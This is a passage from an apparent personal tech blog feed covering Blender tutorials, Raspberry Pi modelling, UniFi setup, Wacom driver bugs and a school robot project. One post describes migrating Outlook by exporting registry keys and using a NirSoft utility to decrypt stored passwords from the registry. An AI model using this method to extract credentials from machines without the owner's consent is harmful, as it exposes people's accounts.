Setting it's Vertices = 16
and Fill = Ngon

Then in the Text editor window selecting

Templates - Python - Bmesh Simple Editmode

and adding a 6 lines of code, all the rest was in the template

<code># This example assumes we have a mesh object in edit-mode

import bpy
import bmesh

# Get the active mesh
obj = bpy.context.edit_object
me = obj.data


# Get a BMesh representation
bm = bmesh.from_edit_mesh(me)

bm.faces.active = None

# Modify the BMesh, can do anything here...
i = 0
for v in bm.verts:
    if ( i % 2) :
        v.select = True
    else :
        v.select = False
    i=i+1


# Show the updates in the viewport
# and recalculate n-gon tessellation.
bmesh.update_edit_mesh(me, True)
</code>

My code being

<code>
i = 0

    if ( i % 2) :
        v.select = True
    else :
        v.select = False
    i=i+1
</code>

Which just selects every other vertex based on the remainder when divided by 2

<image alt="set of blender screenshots showing how my python script created a nice Sun shape from a circle" src="images/blender_nth_select_circle_star.png">

That worked how I wanted but then I found Blender has "Checker Deselect" in the Select menu that deselects every other vertex and produces the same result. Same code?
Not quite. On a UV Sphere my code creates this pattern.
<image alt="set of blender screenshots showing how my python script affects a UV sphere" src="images/blender_nth_select_uv_scale.png">
(note that on each Ring two selected vertices are always together somewhere)

Where as the "Checker Deselect" selected each Ring and ends up like this.
<image alt="set of blender screenshots showing how the Checker Deselect affects a UV sphere" src="images/blender_checker_deselect_uv_scale.png">

Finally I took an ICO Sphere, used my selection script, did a Extrude Individual plus Scale and ended up with a odd hairy object. Then added a Skin Modifier to convert the "Hairs" into fingers and a Subsurface Modifier to smooth them all out. Then playing in the compositor I got this.
<image alt="abstract blender render created from extruding vertices" src="images/blender_nth_select_ico_abstract.png">

Oh, and you can change the script where it says bm.verts to bm.faces to select every other face.
</description>
</item>
<item>
<title>ethernet connector for pi</title>
<pubDate>Mon, 09 Oct 2017 22:49:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2017.html#p091020172249</link>
<description>
Raspberry Pi 3 HiRes
(home straight)

[X]Board in Blender
-[X]Measure board  
-[X]Model
-[X]Texture
-[X]Components on the bottom
-[ ]Components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[X]Broadcom chip
--[X]Other chip (networking and USB, I think)
--[X]USB power connector
--[X]HDMI connector
--[X]Headphone jack
--[X]Ethernet connector
--[ ]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these)

Ethernet connector was a nice collection of Mirror Modifier, Bevel Modifier and Solidify Modifier. I also added a material to the side faces that is the logo as a mask for the metal roughness.

<img src="images/pi3_ethernet_connector.jpg" alt="rendering of raspberry pi circuit board highlighting the ethernet connector and its logo">
</description>
</item>
<item>
<title>blending up a reverse build glare world</title>
<pubDate>Mon, 09 Oct 2017 22:27:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2017.html#p091020172227</link>
<description>
The problem with Blender is the shiny factor. 

It was just too easy to;

Delete the default Cube
Add a UV Sphere with Segments=128 Rings=64 and Generate UV's ticked
Switch to Cycles
Move the Point lamp into the Sphere and increase the strength
Add a Material and select a Equirectangular map of the world
Add a Build Modifier with Reverse ticked
Add a Cube and scale it to encompass the scene (later found could do without this and just use the Background Nodes)
Set the Volume to be a Mix node of Volumetric Scatter and Volumetric Absorption
Add a Glare Filter in the Compositor(never played in the Compositor before)
Render, render, render
Play in VSE to edit the video.

<iframe width="560" height="315" src="https://www.youtube.com/embed/QSelY9Y5KsA" frameborder="0" allowfullscreen></iframe>

Had some problems, in that the videos produced by Blender do not load into Blender very well. Adding a Speed Affect worked for most cases, but to do the split screen x4 I had to manually convert the videos to force the frame rate.

Adding Movie Strips with a Speed affect AND a transform AND repeating it 4 times really screwed things up.

And back to the "It was just too easy to" it also took bloody ages as I made numerous costly(time) mistakes.

I have some actual homework related Blendering to do and I have added the Ethernet port to the Pi, so expect those soon.
</description>
</item>
<item>
<title>DoF your hats for the rpi HDMI and audio connectors</title>
<pubDate>Sun, 24 Sep 2017 23:06:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2017.html#p240920172306</link>
<description>
Raspberry Pi 3 HiRes
(past half way)

[X]Board in Blender
-[X]Measure board  
-[X]Model
-[X]Texture
-[X]Components on the bottom
-[ ]Components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[X]Broadcom chip
--[X]Other chip (networking and USB, I think)
--[X]USB power connector
--[X]HDMI connector
--[X]Headphone jack
--[ ]Ethernet connector
--[ ]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these)

The HDMI connector is a plane with Mirror and Solidify modifiers. I also used the Knife tool to create the geometry allowing the holes, rather than using booleans that can ruin the topology.
The Audio connector is much more a hodge podge of what worked. With Boolean modifiers for the tubes, Solidify modifiers for any panels and Mirror used where ever possible.

Added DoF(Deep of Field) for this pic. F-stop = 1.0 and F-stop = 1.0, not sure why you have to do it twice.

<img src="images/pi3_audio_hdmi_connectors_dof.jpg" alt="rendering of raspberry pi circuit board highlighting the Audio and HDMI connectors">
</description>
</item>
<item>
<title>beware easy of unifi</title>
<pubDate>Sun, 24 Sep 2017 22:06:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2017.html#p240920172206</link>
<description>
We have a Netgear WNR2200 that has operated flawless for many years ,but about a month ago it start going a bit wobbly.

I have to use the word "wobbly" because there is no access to any logs and it did not consistently fail in any one way. 

The Wifi would drop, the web interface would say nothing was wrong and restarting the router fixed the problem. This only happened a couple of times and I upgraded the Firmware but then it happened couple of more times.

Then it would drop Internet and sometimes to only certain devices. So the Now TV box would be happily streaming from the internet but a PC or phone would lose connectivity, sometimes losing Wifi completely.

It was decided that the WNR2200 was a bit long in the tooth and had been bought cheap. I started looking at commercial offerings and came across [url title="Ubiquiti"]https://www.ubnt.com/[/url] and after some careful consideration bought a Unifi AP AC Pro.

It came with no cables but a PoE(Power over Ethernet) injector. I rustled up some CAT5 and plugged in the injector and my switch and then into the Unifi AP(Access Point) unit. Happily it just powered up after a tense few seconds.

Downloaded the Unifi app from the Google Play store and it immediately found the AP asked for a username and password and I was able to, from the app, setup a basic WPA2 Wifi access point. It just worked!

But I wanted to the setup a guest network and generally poke around a bit. First I found I could ssh into the box directly COOL! Sadly there is not much there. I needed to install the "controller".

I have my LUbunut VM for web browsing so I thought I could use it as a guinea pig.

Downloaded .deb file from for linux
[url]https://www.ubnt.com/download/unifi/[/url]

Installed with 
<code>sudo apt-get install ./unifi_sysvinit_all.deb </code>
Which installed all the dependencies including Java 8-openjdk and skips a whole load of setting up sources and keys that was required in the past.

To run the service I tried
<code>sudo /etc/init.d/unifi start</code>
but always failed and nothing in the logs :(
/var/log/unifi/server.log

Finally found the command was 
<code>sudo service unifi start</code>

Connected with firefox to localhost:8443
gave me a few Unicode characters but nothing else so I tried
localhost:8080
that then redirected to 
https://localhost:8443/manage/wizard/
But
<code class="output">No Devices Found</code>

Drat, I had checked that although the VM was on a different separate sub-net it could ping the AP, so I know it can work ...

Ah, I can just click Next and Skip ...

and eventually I get the nice, but empty, dashboard and whatever I do I get 
<code class="output">No Devices Found</code>

Seems the Controller cannot create connections to AP units but must wait for them to try and talk to it. This will not work very well with a VM in VirtualBox unless I manually setup all the ports to forward...

Sound painful, but there might be something else I can do.

No maybe this is the only way and serves me right from trying to run a controller from a VM ;)

Luckily I found [url]https://www.stevejenkins.com/blog/2016/05/diy-cloud-hosting-ubiquiti-ubnt-unifi-controller/[/url] blog post detailing the ports required.

What? You can run a Controller on a Raspberry Pi? Intriguing!

</description>
</item>
<item>
<title>blending procedural wood table tops</title>
<pubDate>Thu, 17 Aug 2017 21:36:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p170820172136</link>
<description>
One of the things I wanted for my Blender science scene was wooden table. Normally this [sic]wood mean creating or finding a wood texture image of suitable quality, unwrapping the table object in Blender and then applying the image as a UV texture. But I wondered if you could create something wood-like using Nodes ...

Then I found this great video that showed how to create a very nice wood texture with nodes.
[url][/url]
The video is very quick and I used YouTube Speed settings to slow it down.

Based on that video here is my tutorial, for future me, for when I am looking how to create procedural wood textures in Blender.

Start by scaling the default cube into a table top. Set the renderer to [em]Cycles[/em] and add a material. In the Node editor Add/ Texture/ Noise Texture, you can tweak the values later.

<img src="/flog/images/blender_wood_tutorial_2017/step 1 scale to table top and add noise.png" alt="blender procedural wood texture step 1 adding noise node">

Now that fluffy rainbow cloud does not look very wood grain-y. Next Add/ Input/ Texture Coordinate and then Add/ Vector/ Mapping and set it to Point and link the Texture Coordinate Generated output to the Vector input of the Mapping node. I set the X scale to 7 but it depends which way around your table is and what overall scale it is. Feed this Vector output to the Noise Vector input.

<img src="/flog/images/blender_wood_tutorial_2017/step 2 texture coords and mapping.png" alt="blender procedural wood texture step 2 stretching the grain">

And now we have a stretched rainbow. But not for long. Add/ Converter/ ColorRamp in between the Noise Texture and the Default BSDF, it should snap right into place. Spend sometime creating a number of hard edged white stripes in the ColorRamp. 

This starts to create the grain definition and you can try adding more/less harder/softer variances in the ColorRamp for different effects.

<img src="/flog/images/blender_wood_tutorial_2017/step 3 first colour ramp.png" alt="blender procedural wood texture step 3 defining the grain">

Add another ColorRamp by duplicating the first with SHIFT+D. Set all the black markers to a light brown and all the white markers to a darker brown. To get all the colours the same use the eye-dropper to select previously coloured markers.

Finally looking a bit woody.

<img src="/flog/images/blender_wood_tutorial_2017/step 4 second colour ramp colour switch.png" alt="blender procedural wood texture step 4 simple colours">

But it is a bit flat. Add, swap and generally muck about with the ColorRamp to inject some variations, hot pink always works well :)

<img src="/flog/images/blender_wood_tutorial_2017/step 5 second colour ramp colour fiddle.png" alt="blender procedural wood texture step 5 living colours">

and here is the one I am using for my scene, I deliberately wanted a hard, dark harsh surface.

<img src="/flog/images/blender_wood_tutorial_2017/step 5 second colour ramp colour alternate.png" alt="blender procedural wood texture step 5 some alternative colours">

Now to give it all some depth we Add/ Vector/ Bump attached to the Default BSDF Normal input and Add/ Converter/ ColorRamp connected to the Bump Height input and with the input from the first black and white ColorRamp

<img src="/flog/images/blender_wood_tutorial_2017/step 6 third colour ramp and bump.png" alt="blender procedural wood texture step 6 adding depth">

and although it is really going to break the page layout here is the complete Node workflow.

<img src="/flog/images/blender_wood_tutorial_2017/complete node layout.png" alt="blender procedural wood texture complete Node workflow">

Feel free to tweak the settings to get the type of wood texture you need!
</description>
</item>
<item>
<title>it is not my in page kanban system</title>
<pubDate>Tue, 15 Aug 2017 19:58:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p150820171958</link>
<description>
To help me get things done I like to create lists and tick things off as I go, to show progress is being made. This is brilliant and also allow me top break anything complicated of time consuming into near infinitely small, and manageable, chunks.

But the other day I need more that just a list, I needed a Kanban board. Last time I looked at getting something to do Kanban it was all trial-ware or physical post-it notes.

I thought about the problem and about how all the commercial solutions were much more complicated than I needed. What I wanted was web page that saved to Local Storage and let me add columns and add and remove cards.

I could write it, I have no doubt, but, I do not need to!

[url title="my-personal-kanban"]https://greggigon.github.io/my-personal-kanban/[/url]

Simplicity itself. Download the archive, unzip to hard drive, open page, set columns, start adding cards. That's it! It save to local storage and if you really want to you can create a cloud key and save it remotely as well.

Very impressed! Nice to see the world does work sometimes.
</description>
</item>
<item>
<title>flogging last years dead horse</title>
<pubDate>Tue, 15 Aug 2017 19:34:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p150820171934</link>
<description>
It's August and I have finally got around to doing the [url title="2016 yearly review"]http://www.jumpstation.co.uk/flog/year2016.html[/url], do not knock it, sometime I go years without remembering to do the review.

The [url title="post"]http://www.jumpstation.co.uk/flog/Jan2016.html#p140120162155[/url] on the [url title="2015 yearly review"]http://www.jumpstation.co.uk/flog/year2015.html[/url] talked about how I was amazed that I ever do anything and then I do the review and it's all "Wow! I did that?".
Well, I get the same feeling but also I cannot help notice how my concepts of time are vastly out of wack. It's not so much "Wow! I did that?" than "I did that last year?". The [url title="Cambridge Science Festival"]http://www.jumpstation.co.uk/flog/Mar2016.html#p170320161905[/url] seems so long in my distance past whereas the [url title="Blender coil scene"]http://www.jumpstation.co.uk/flog/Jun2016.html#p200620160928[/url] feels like a few months ago.

Speaking of which, I really must try and complete that.

So there were 60 posts and missed months, which is unusual.

Caught me unawares that I did so much Raspberry Pi stuff last year and really cannot get over the amazing HTC Vive Raspberry Pi Model B VR challenge I created that was seen by the Queen's sister!

There are a number of posts that I re-read that give me a warm fuzzy feeling that I wrote something worth while and informative. Unfortunately, there are far too many rambling posts that I see where I was going from but are missing the "readability" bit.

Maybe I need a [em]flog resolutions[/em] ...

You can read the archives of bygone years all the way back to 2002 on the [url title="archives page"]http://www.jumpstation.co.uk/flog/archive.html[/url]

I could start on the 2017 reviews now ... or maybe not ;)
</description>
</item>
<item>
<title>slow news day</title>
<pubDate>Wed, 09 Aug 2017 22:05:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p090820172205</link>
<description>
Where are the Raspberry Pi modelling updates ... ?
</description>
</item>
<item>
<title>outlook profile settings haxor transfer</title>
<pubDate>Wed, 09 Aug 2017 21:59:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p090820172159</link>
<description>
I had to setup a new Windows 10 machine for someone this week. It took 4hrs to install the updates, on a high speed ethernet connection. That was not the download time, no, it was all the rebooting and getting to 100% and the starting at 1% again.

Finally got it sorted and hit the next problem, they wanted Outlook (Office 365) migrated, including their eight email accounts, grrr.

Microsoft's official line is "You cannot transfer account settings only data files", but digging deeper there was a rumour. The rumour stated that Microsoft did not want to support people transferring settings as it was non-trivial. Finally I found that the key to transferring settings from one machine to another was to ensure it was with the [em]same version of Outlook[/em]. Easy it was all Office 365.

You have to export and import a specific set of Registry keys, but that is just 
run RegEdit
find keys
export keys to file
copy file
import keys from file

The keys you need are everything from
<code>
HKEY_CURRENT_USER\Software\Microsoft\Office\[em]VERSION[/em]\Outlook\Profiles\Outlook\
</code>

The slight problem I had was the old machine had the keys in 
<code>
HKEY_CURRENT_USER\Software\Microsoft\Office\[em]15.0[/em]\Outlook\Profiles\Outlook\
</code>
and the new install had created 
<code>
HKEY_CURRENT_USER\Software\Microsoft\Office\[em]16.0[/em]\Outlook\Profiles\Outlook\
</code>
A quick Search and Replace in the .reg file fixed that. And the crossing of fingers, still, Microsoft will never know!

Now the final (OK, second to last) piece of the puzzle. The process of exporting and importing your Outlook settings [em]does not[/em] include your passwords. Annoyingly it does include the setting "Remember my password" so, Outlook then fails to ask you for your password because the nothing it has is deemed correct.

The passwords mush be somewhere on the system ...

Google, Google, bit more Googling and bit of luck and recognised the domain name [url]http://www.nirsoft.net/[/ur]

Digging around a bit, there is a [em]lot[/em] of great [em]free[/em] tools on that site, and found this
[url]http://www.nirsoft.net/utils/encrypted_registry_view.html[/ur]

It is incredibly simple. Download and run, no install necessary. Then select the defaults and let it run a for a minute or so. The result is every piece of encrypted data in your registry is decrypted and displayed!

Now, you might think L33t Hakorz, but, this utility simply uses the API Microsoft created for this job. The clever bit is it knows how to find the keys to decrypt, which is detailed on the site as a specific HEX signature. If you are logged in, I was, then it just gets the data.

There were 300 keys found, but, I recognised the passwords pretty quickly. The problem now was I had a list of eight passwords but did not know which accounts they linked to. The output does list the registry keys so I just went in to the registry found each one in turn, they had GUID type names, expanded each one and read the "Account Name" key!

The final, final steps was to copy the .PST files, and .OST for IMAP accounts and place them in [em]exactly the same path[/em] as the old machine.

I do not think Outlook on the new machine had any idea it had been hoodwinked.
</description>
</item>
<item>
<title>blender tripple blended for open amd</title>
<pubDate>Sun, 06 Aug 2017 17:37:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2017.html#p060820171737</link>
<description>
I had switched to the [url title="open source Radeon AMD graphics driver"]https://wiki.gentoo.org/wiki/Radeon[/url] as AMD dropped fglrx/Catalyst support and had noticed no problems. But last time I upgraded and recompiled my kernel, Blender gave me weird graphics corruption.

The solution was very easy, but I hate to think how someone who had never had used Blender before would have reacted.

<code>File->User Preferences->System

Set Window Draw Method to Triple Buffer.
</code>
From Gra at [url]https://bbs.archlinux.org/viewtopic.php?pid=1674399#p1674399[/url]

The Blender developers seem to be aware but uninterested in fixing the issue, relying on the fact that "Triple Buffer" will become the default in Blender 2.8 releases
[url]https://developer.blender.org/T49945[/url]
[url]https://developer.blender.org/D2342[/url]
</description>
</item>
<item>
<title>joes robot challenge left bias</title>
<pubDate>Fri, 07 Jul 2017 23:15:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2017.html#p070720172315</link>
<description>
I knew the code for [url title="Joes Robot Challenge"]/flog/Jul2017.html#p040720172356[/url] was little be rushed and messy. Certainly not up to my usual standard. But still, I did not expect it to have critical NOOB bug in it.

At the Fete I noticed the robot often went left even though from what the user had selected it should be going right. At first I thought it was the power cable causing a small amount of drag. But as I watched more carefully and tried my best to not let the cable be involved I realised something was wrong.

I had noticed before there was a bias in the simple motors of the Alex's Cam Jam Robot kit, but we weren't using that. Sad truth is the code kept over writing the users value with 10 as I reused the variable.

It was an easy fix just to use unique variable names throughout the code.

[url]https://github.com/davisjoe/joesrobotchallenge[/url]
</description>
</item>
<item>
<title>erm ftp or sftp 1and1</title>
<pubDate>Fri, 07 Jul 2017 23:04:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2017.html#p070720172304</link>
<description>
My ftp access has finally stopped. I thought lftp would automatically detect sftp but it does not and I think it is because 1and1 are still running a ftp server but not letting people connect.
</description>
</item>
<item>
<title>joes robot challenge</title>
<pubDate>Tue, 04 Jul 2017 23:56:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2017.html#p040720172356</link>
<description>
Joe's Robot Challenge is over!

It was hard work from everyone involved but I think we pulled it off.
<img src="images/201706_jrc_kids.jpg" alt="Crew photo from Joe's Robot challenge 2017" >

The idea was to create a Robot and Raspberry Pi themed experience that would raise money at the school fete. Joe had been bugging me for more than two years to get involved with the fete. First year he was too young, we had no preparation time, then last year we were dealing with Sarah's leg.

This year we had lots of prep time and brainstormed the idea of a very simple interface to a destructive robot. The user would be required to press a single button to set the direction and then the speed of the robot that would then knock over empty drinks bottles.

I had a cool Raspberry Pi battery that screws onto the bottom of the Pi, but sadly, it did not have the power to supply the Pi when connected to HDMI. Well, it did but the power warning icon keep appearing. As I had worked with Pis in the  early days, where power problems often corrupted SD cards irreparably, I was overly cautious.

[url title="WINGONEER Lithium Battery Pack "]https://www.amazon.co.uk/gp/product/B06VVY1W3N/ref=oh_aui_detailpage_o04_s00?ie=UTF8&psc=1[/url]

<img src="images/201706_jrc_robot.jpg" alt="Robot photo from Joe's Robot challenge 2017" >

The robot is from the 
[url title="CAM JAM kit 3"]http://camjam.me/?page_id=1035[/url]
that was unbelievably cheap at the Raspberry Pi Birthday sellers market back in 2016, due to no P&amp;P. Consisting of just motors and an interface board, it plugs into the Pi and once powered via AA batteries, it just works. The Cam Jam kits also come with other components like an Ultrasound distance detector, but we have never tried that.

The code is worryingly short. Just tell the Pi you are using specific GPIO pins and set two pin states for each wheel. GO and FORWARD/BACKWARDS, that's it! For steering/directions it is all about how long each wheel does what.

[url]https://github.com/davisjoe/joesrobotchallenge/blob/master/motortest_forward_one_second.py[/url]

I already had the [url title="cool looking button"]http://www.jumpstation.co.uk/flog/Jun2017.html#p030620171704[/url]

The last piece of the puzzle was the graphics/interface. I had done some work with PyGame before so we went with that. We just setup the button polling code to run during frame redraws.

It took a while to put it all together and I am not sure it is very "good", but on the day it worked enough that everyone trying it had fun and we raised a load of money!

I did want to have Joe's photo in the game but I could not see a way to do it that did not kill the frame rate, so it only appeared on the start screen.

<img src="images/201706_jrc_bench.jpg" alt="Robot workbench photo from Joe's Robot challenge 2017" >
The juggling balls made an ideal stand to hold the robot steady when testing the motors ;) We originally used a standard Raspberry Pi Model B+ v1.2, but swapped for a quad core Pi 3 for improved development experience. 

The biggest problem on the day was the wind knocking over the up turned water bottles. The fix was to tape sweets into the necks to lower the center of gravity.

</description>
</item>
<item>
<title>wacom wacom where fore art wacom hung</title>
<pubDate>Sun, 18 Jun 2017 14:04:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2017.html#p180620171404</link>
<description>
I have a Wacom Bamboo tablet and pen from 7+ years ago. To be fair, I had forgotten I had it. It did get a lot of use originally and I got it working in Linux with GIMP and Blender, very cool.

Rebuilding the kernel the other day I made the effort to update my notes for making the tablet work.

<code class="output">
[*]Device Drivers - HID Support - Special HID Drivers - Wacom Intuos/Graphire tablet support (USB)
[*]Device Drivers - Input device support - Tablets - Wacom protocol 4 serial tablet support
</code>

and once the new kernel was in place just reinstall the drivers.
<code>
emerge -av xf86-input-wacom </code>

It worked straight away and I loaded up GIMP. Sketched out some rubbish, noting the pressure changing stroke and then the machine stopped responding ...
Completely hung. Not even the CAPS LOCK button would change the keyboard LED.

I did not associate the two events. Drawing with the pen and the machine hanging, cos, why would you?

Then I tried the same thing and it happened again! About two minutes after I started drawing the machine hung, could not even ssh into it.

Now I am worried, Wacoms have worked well with Linux for many many years, so what have I done wrong?

Third time something different happened. The pen would not work even though 
<code>xsetwacom --list devices
</code>
<code class="output">Wacom Bamboo Pen Pen stylus     	id: 10	type: STYLUS    
Wacom Bamboo Pen Pen eraser     	id: 12	type: ERASER    
</code>
Showed the tablet and pen were detected. I tried unplugging and re-plugging and it worked. Tentatively I opened up GIMP and started sketching ...
1 minute still working
2 minutes not hung
5 minutes no problem
10 minutes I can not see any reason why this is working !! (I prefer consistent failure to inconsistent successes)

So I open up Blender and ... I get weird screen corruption, like raw memory dumps, everything still works and occasionally the screen fixed itself but not for long. When I say "screen" it was in fact only portions of the screen as defined by Blender views(not just 3D ones). But Blender is not reporting any problems and the problems only fix/break when I use the mouse.

I have seen something similar when trying to trans-code large video files but that was with switching VTs not moving the mouse.

Time to investigate. 

First stop [url title="forums.gentoo.org"]https://forums.gentoo.org[/url], seemed Gentoo related but, no one with my sort of problem. A bit Googling led from the [em]Xorg.0.log[/em] file
<code>
[  1686.785] (EE) BUG: triggered 'if (in_input_thread())'
[  1686.785] (EE) BUG: /var/tmp/portage/x11-base/xorg-server-1.19.3/work/xorg-server-1.19.3/os/io.c:656 in WriteToClient()
[  1686.785] (EE) ******** WriteToClient called from input thread *********
[  1686.785] (EE) 
[  1686.785] (EE) Backtrace:
[  1686.785] (EE) 0: /usr/bin/X (xorg_backtrace+0x4e) [0x59160e]
[  1686.785] (EE) 1: /usr/bin/X (WriteToClient+0x17b) [0x594c6b]
[  1686.785] (EE) 2: /usr/bin/X (WriteEventsToClient+0x202) [0x4416b2]
[  1686.785] (EE) 3: /usr/bin/X (TryClientEvents+0x132) [0x4418b2]
[  1686.785] (EE) 4: /usr/bin/X (0x400000+0x45295) [0x445295]
[  1686.785] (EE) 5: /usr/bin/X (DeliverEventsToWindow+0x21e) [0x4455ce]
[  1686.785] (EE) 6: /usr/bin/X (0x400000+0x120251) [0x520251]
[  1686.785] (EE) 7: /usr/bin/X (0x400000+0x12accc) [0x52accc]
[  1686.785] (EE) 8: /usr/bin/X (XIChangeDeviceProperty+0x2ad) [0x52b64d]
[  1686.785] (EE) 9: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0xe592) [0x7f4c320bf592]
[  1686.785] (EE) 10: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0x6c6f) [0x7f4c320b7c6f]
[  1686.785] (EE) 11: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0x74c4) [0x7f4c320b84c4]
[  1686.785] (EE) 12: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0xbd97) [0x7f4c320bcd97]
[  1686.785] (EE) 13: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0x5e71) [0x7f4c320b6e71]
[  1686.785] (EE) 14: /usr/lib64/xorg/modules/input/wacom_drv.so (0x7f4c320b1000+0x5f0a) [0x7f4c320b6f0a]
[  1686.785] (EE) 15: /usr/bin/X (0x400000+0x1937dc) [0x5937dc]
[  1686.785] (EE) 16: /usr/bin/X (0x400000+0x195e49) [0x595e49]
[  1686.785] (EE) 17: /usr/bin/X (0x400000+0x193626) [0x593626]
[  1686.785] (EE) 18: /lib64/libpthread.so.0 (0x7f4c3eceb000+0x7466) [0x7f4c3ecf2466]
[  1686.785] (EE) 19: /lib64/libc.so.6 (clone+0x6d) [0x7f4c3ea3b71d]
</code>

to

[url]http://debian.2.n7.nabble.com/Bug-862639-xserver-xorg-input-wacom-polluting-my-syslog-update-to-0-35-td4117009.html[/url]
[url]https://sourceforge.net/p/linuxwacom/bugs/333/[/url]
[url]https://sourceforge.net/p/linuxwacom/bugs/328/[/url]
[url]https://github.com/linuxwacom/xf86-input-wacom/issues/8[/url]

which indicate a serious bug exists where [em]xf86WaitForInput[/em] function used to take a timeout in [em]microseconds[/em], and now the value is [em]milliseconds[/em]. Or the other way around, either way it's a timing issue.

Bottom line, better off unplugging the Wacom and waiting for this to blow over.
</description>
</item>
<item>
<title>Alexs viral moon in the bath</title>
<pubDate>Sat, 10 Jun 2017 12:12:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2017.html#p100620171212</link>
<description>
Alex had a small piece of homework to do, "Phases of the moon". But he wanted to get some extra merits (an unusual request for him) and thought he might do a video.

So we set up a tripod in the bathroom and he stood in the bath. This gave us the interesting and stationary background to add to.

After 8 takes we had a short film he was happy with and we moved over to post production. Blender has a built-in video editor and obviously he wanted a 3D rendered moon. So a quick download of a Moon texture and a couple of spheres later we had the Sun and Moon.

He created a Bezier Circle as a track for the Sun and added the constraint. With lamp inside the Sun, we could easily animate the light on the Moon. Added the video file to Blender's video editor and then a [em]scene[/em], set the mode to Alpha Over and Transparent and now the 3D objects appeared in the video!

He then took some time making the start and end animation points sync up with his words, we started to run out of time here so it gets a little ropy.

Finally he added all the fun credits by just copying and pasting the text he had typed earlier into a [em]text[/em] object and animated that moving from the bottom to the top of the screen.

After he had gone to bed I edited in the outtakes with a [em]Transform[/em] effect to shrink them and move them to the right.

<iframe width="560" height="315" src="https://www.youtube.com/embed/EDpPdZTlHuo" frameborder="0" allowfullscreen></iframe>

Turned out the teacher did like the effort. Double merits and the further homework of explaining it to whole school after it went a bit viral(locally).
</description>
</item>
<item>
<title>Jet Set Radio 64bit util blast from the past</title>
<pubDate>Sat, 10 Jun 2017 11:29:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2017.html#p100620171129</link>
<description>
Many MANY moons ago I had a Dreamcast and I wrote a number of little utilities and games for it. These included the infamous [url title"Space Invaders VMU style"]http://www.jumpstation.co.uk/si/si.html[/url] which got copied and downloaded many 10 of thousands of times.

I also created a tiny C program that converted JPG images into the file format to be used in game called Jet Set Radio (Jet Grind Radio). This I used and had fun with but I never thought anyone else had ever downloaded it.
[url]http://www.jumpstation.co.uk/dreamcast/ii2d.html[/url]
16 years later I get an email asking for an upgrade to the binary I distribute to work with 64bit windows!

My first thought was, the source code is included build it yourself, but I wondered how hard it would be to do. I would need to find a windows machine...

Or not, [url]https://prognotes.net/2015/04/compile-c-programs-for-windows-and-linux/[/url] includes instructions to cross compile from Linux to Windows. This boiled down to

<code>
sudo apt-get install mingw-w64

i686-w64-mingw32-gcc -o ii2d32-64bit.exe ii2d.c 

x86_64-w64-mingw32-gcc -o ii2d64bit.exe ii2d.c
</code>
that was it, really nothing else, job done.

So now the executable are available at the bottom of the same page which embarrassingly contains some of the worst spelling and grammar ever, enjoy!
[url]http://www.jumpstation.co.uk/dreamcast/ii2d.html[/url]
</description>
</item>
<item>
<title>Joes Robot Challenge fights PyUSB for control of the button</title>
<pubDate>Sat, 03 Jun 2017 17:04:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2017.html#p030620171704</link>
<description>
What is keeping me from my Hi-res Pi blender/rendering? Many things, including [em]Joe's Robot Challenge[/em].

One component of [em]Joe's Robot Challenge[/em] is a button and for effect my Panic Button is a good fit.
<img src="images/panicbutton.jpg" alt="USB panic button">

Previously I compiled a [url title="kernel module"]http://www.jumpstation.co.uk/flog/Feb2013.html#030220132145[/url] to get it working, this time it made sense to search out a Python script.
I found [url]http://www.righto.com/2010/04/usb-panic-button-with-linux-and-python.html[/url] which is a little dated but the only offer.

I copied the [url title="script"]http://files.righto.com/files/PanicButton.py[/url] to the Pi and ran it.

<code>pi@raspberrypi:~/button_test $ sudo python PanicButton.py </code>
<code class="output">Traceback (most recent call last):
  File "PanicButton.py", line 10, in &lt;module&gt;
    import usb.core
ImportError: No module named core</code>

Then I tried to install the PyUSB library. But could not find the "pyusb" but could find "python-usb" that installed but still got the same error. Even the [url title="PyUSB creator"]https://github.com/walac/pyusb[/url] suggests you use that package as it is "up to date".

Sadly it is not "up to date" on the Raspberry Pi Jessie latest version. I also tried install it via "pip" 

<code>pi@raspberrypi:~/button_test $ sudo pip install pyusb</code>
<code class="output">Requirement already satisfied (use --upgrade to upgrade): pyusb in /usr/lib/python2.7/dist-packages</code>

But it says it is already installed :(

The [url title="instructions"]https://raspberrypi.stackexchange.com/questions/6774/installed-pyusb-still-importerror-no-module-named-core[/url] required uninstalling the current library, but that did not go well

<code>pi@raspberrypi:~/button_test $ sudo pip uninstall pyusb</code>
<code class="output">Not uninstalling pyusb at /usr/lib/python2.7/dist-packages, owned by OS</code>

Still I was able to download the latest version 1.0.0-a1 from https://github.com/walac/pyusb

Then
<code>tar xzvf pyusb-1.0.0-a1.tar.gz 
cd pyusb-1.0.0-a1/
sudo python setup.py install
sudo python3 setup.py install</code>

<code>pi@raspberrypi:~/button_test $ sudo python3 PanicButton.py </code>
<code class="output">  File "PanicButton.py", line 21
    except Exception, e:
                    ^
